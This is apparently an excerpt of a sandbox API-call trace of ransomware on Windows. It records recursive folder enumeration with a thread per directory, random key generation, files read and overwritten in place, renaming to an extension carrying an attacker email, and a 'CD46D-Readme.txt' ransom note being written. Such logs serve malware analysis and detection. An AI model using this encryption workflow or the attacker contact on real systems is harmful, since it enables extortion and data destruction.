[0067.032] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0067.032] wcscmp (_String1="Font", _String2=".") returned 1 [0067.032] wcscmp (_String1="Font", _String2="..") returned 1 [0067.032] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5c88 [0067.032] wcscpy (in: _Dest=0x5ed5c88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0067.032] wcscat (in: _Dest=0x5ed5c88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0067.032] wcscat (in: _Dest=0x5ed5c88, _Source="Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0067.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ed5c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa84 [0067.033] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0067.033] wcscmp (_String1="Linguistics", _String2=".") returned 1 [0067.033] wcscmp (_String1="Linguistics", _String2="..") returned 1 [0067.033] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x198056a0 [0067.033] wcscpy (in: _Dest=0x198056a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0067.034] wcscat (in: _Dest=0x198056a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0067.034] wcscat (in: _Dest=0x198056a0, _Source="Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0067.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x198056a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa80 [0067.035] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0067.035] wcscmp (_String1="SaslPrep", _String2=".") returned 1 [0067.035] wcscmp (_String1="SaslPrep", _String2="..") returned 1 [0067.035] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e6b8 [0067.035] wcscpy (in: _Dest=0x45e6b8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0067.035] wcscat (in: _Dest=0x45e6b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0067.035] wcscat (in: _Dest=0x45e6b8, _Source="SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" [0067.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x45e6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0067.036] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 1 [0067.036] wcscmp (_String1="TypeSupport", _String2=".") returned 1 [0067.036] wcscmp (_String1="TypeSupport", _String2="..") returned 1 [0067.036] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x19805728 [0067.036] wcscpy (in: _Dest=0x19805728, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0067.036] wcscat (in: _Dest=0x19805728, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\" [0067.036] wcscat (in: _Dest=0x19805728, _Source="TypeSupport" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport" [0067.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x19805728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0067.038] FindNextFileW (in: hFindFile=0x440620, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0067.038] FindClose (hFindFile=0x440620) Thread: id = 389 os_tid = 0xcfc [0048.841] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0x20 [0048.841] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 1 [0055.235] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6d4 [0055.235] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x3fefc54 | out: lpFileSize=0x3fefc54*=876) returned 1 [0055.235] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.235] ReadFile (in: hFile=0x6d4, lpBuffer=0x3fefbd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fefbd4, lpOverlapped=0x0 | out: lpBuffer=0x3fefbd8*, lpNumberOfBytesRead=0x3fefbd4*=0x4, lpOverlapped=0x0) returned 1 [0055.237] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0718 [0055.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0268 [0055.237] NtQuerySystemTime (in: CurrentTime=0x3fefbb4 | out: CurrentTime=0x3fefbb4*=132174898192164000) returned 0x0 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x4d00c52e [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x5043623 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x6d25d128 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x5543f86d [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x7a7acd5e [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x4c67ff8f [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x1661e571 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x28a21a21 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x306b0348 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x1433e3fd [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x70115bc5 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x2806e10a [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0xd299631 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x2fff12ee [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x4e15b441 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x1cdc141a [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x404c20dd [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x1f9f8648 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x448038f [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x539394f8 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x65a68013 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x148a4dba [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x349c66cf [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x53939e32 [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x573b557d [0055.237] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x1a700363 [0055.238] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x3c9b91c1 [0055.238] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x788695eb [0055.238] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x3ed3f9ad [0055.238] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x45f85100 [0055.238] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x4c0b981 [0055.238] RtlRandomEx (in: Seed=0x3fefbc0 | out: Seed=0x3fefbc0) returned 0x28098f6a [0055.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0768 [0055.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437c88 [0055.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0790 [0055.249] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c88) returned 1 [0055.249] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0055.249] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c4c8 [0055.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437c88 [0055.249] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0055.249] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0055.250] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d61198 [0055.252] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d6d9a0 [0055.254] ReadFile (in: hFile=0x6d4, lpBuffer=0x12d61198, nNumberOfBytesToRead=0x36c, lpNumberOfBytesRead=0x3fefbb0, lpOverlapped=0x0 | out: lpBuffer=0x12d61198*, lpNumberOfBytesRead=0x3fefbb0*=0x36c, lpOverlapped=0x0) returned 1 [0055.254] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.254] WriteFile (in: hFile=0x6d4, lpBuffer=0x12d6d9a0*, nNumberOfBytesToWrite=0x36c, lpNumberOfBytesWritten=0x3fefbac, lpOverlapped=0x0 | out: lpBuffer=0x12d6d9a0*, lpNumberOfBytesWritten=0x3fefbac*=0x36c, lpOverlapped=0x0) returned 1 [0058.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0150 [0058.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0100 [0058.980] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0100) returned 1 [0058.980] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d6d9a0) returned 1 [0058.980] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d61198) returned 1 [0058.980] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c88) returned 1 [0058.980] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c4c8) returned 1 [0058.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x409f28 [0058.980] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.981] WriteFile (in: hFile=0x6d4, lpBuffer=0x424230*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x3fefc14, lpOverlapped=0x0 | out: lpBuffer=0x424230*, lpNumberOfBytesWritten=0x3fefc14*=0x11b, lpOverlapped=0x0) returned 1 [0061.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a168) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0100) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409f28) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0150) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0718) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0768) returned 1 [0061.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0790) returned 1 [0061.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443800 [0061.557] wcscpy (in: _Dest=0x443800, _Source="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0061.557] wcscat (in: _Dest=0x443800, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[2Hamlampampom@cock.li].cd46d" [0061.557] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3fefbcc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d5f0 [0061.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d5f0) returned 1 [0061.559] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.559] NtQueryInformationFile (in: FileHandle=0x6d4, IoStatusBlock=0x3fefbd8, FileInformation=0x3fefbb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fefbd8, FileInformation=0x3fefbb0) returned 0x0 [0061.559] NtSetInformationFile (FileHandle=0x6d4, IoStatusBlock=0x3fefbd8, FileInformation=0x3fefbb0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.560] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443800) returned 1 [0061.560] FlushFileBuffers (hFile=0x6d4) returned 1 [0062.198] CloseHandle (hObject=0x6d4) returned 1 [0062.661] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a7f0 [0062.661] wcscpy (in: _Dest=0x44a7f0, _Source="C:\\Users\\Public\\Libraries\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0062.661] wcscat (in: _Dest=0x44a7f0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\Public\\Libraries\\CD46D-Readme.txt") returned="C:\\Users\\Public\\Libraries\\CD46D-Readme.txt" [0062.661] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\CD46D-Readme.txt" (normalized: "c:\\users\\public\\libraries\\cd46d-readme.txt")) returned 0xffffffff [0062.661] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\CD46D-Readme.txt" (normalized: "c:\\users\\public\\libraries\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf4c [0062.905] WriteFile (in: hFile=0xf4c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x3fefbd4, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x3fefbd4*=0x6fd, lpOverlapped=0x0) returned 1 [0062.991] CloseHandle (hObject=0xf4c) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a7f0) returned 1 [0062.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4460b8) returned 1 Thread: id = 390 os_tid = 0xd00 [0048.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413e90 [0048.842] wcscpy (in: _Dest=0x413e90, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0048.842] wcscat (in: _Dest=0x413e90, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0048.842] wcscat (in: _Dest=0x413e90, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\*") returned="C:\\Users\\Public\\Music\\Sample Music\\*" [0048.842] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x484fe0 [0048.842] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a168 [0049.186] wcscmp (_String1=".", _String2=".") returned 0 [0049.186] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.186] wcscmp (_String1="..", _String2=".") returned 1 [0049.186] wcscmp (_String1="..", _String2="..") returned 0 [0049.186] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.186] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.186] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.187] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0049.187] wcscmp (_String1="Kalimba.mp3", _String2=".") returned 1 [0049.187] wcscmp (_String1="Kalimba.mp3", _String2="..") returned 1 [0049.187] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d3f0 [0049.187] wcscpy (in: _Dest=0x48d3f0, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0049.187] wcscat (in: _Dest=0x48d3f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0049.187] wcscat (in: _Dest=0x48d3f0, _Source="Kalimba.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" [0049.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0049.402] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1 [0049.402] wcscmp (_String1="Maid with the Flaxen Hair.mp3", _String2=".") returned 1 [0049.402] wcscmp (_String1="Maid with the Flaxen Hair.mp3", _String2="..") returned 1 [0049.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416c90 [0049.402] wcscpy (in: _Dest=0x416c90, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0049.402] wcscat (in: _Dest=0x416c90, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample Music\\" [0049.402] wcscat (in: _Dest=0x416c90, _Source="Maid with the Flaxen Hair.mp3" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3") returned="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" [0049.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416c90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00 [0049.403] FindNextFileW (in: hFindFile=0x40a168, lpFindFileData=0x484fe0 | out: lpFindFileData=0x484fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1 [0049.403] wcscmp (_String1="Sleep Away.mp3", _String2=".") returned 1 [0049.403] wcscmp (_String1="Sleep Away.mp3", _String2="..") returned 1 [0049.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421a48 [0049.403] wcscpy (in: _Dest=0x421a48, _Source="C:\\Users\\Public\\Music\\Sample Music" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music") returned="C:\\Users\\Public\\Music\\Sample Music" [0049.403] wcscat (in: _Dest=0x421a48, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\Sample Music\\") returned="C:\\Users\\Public\\Music\\Sample 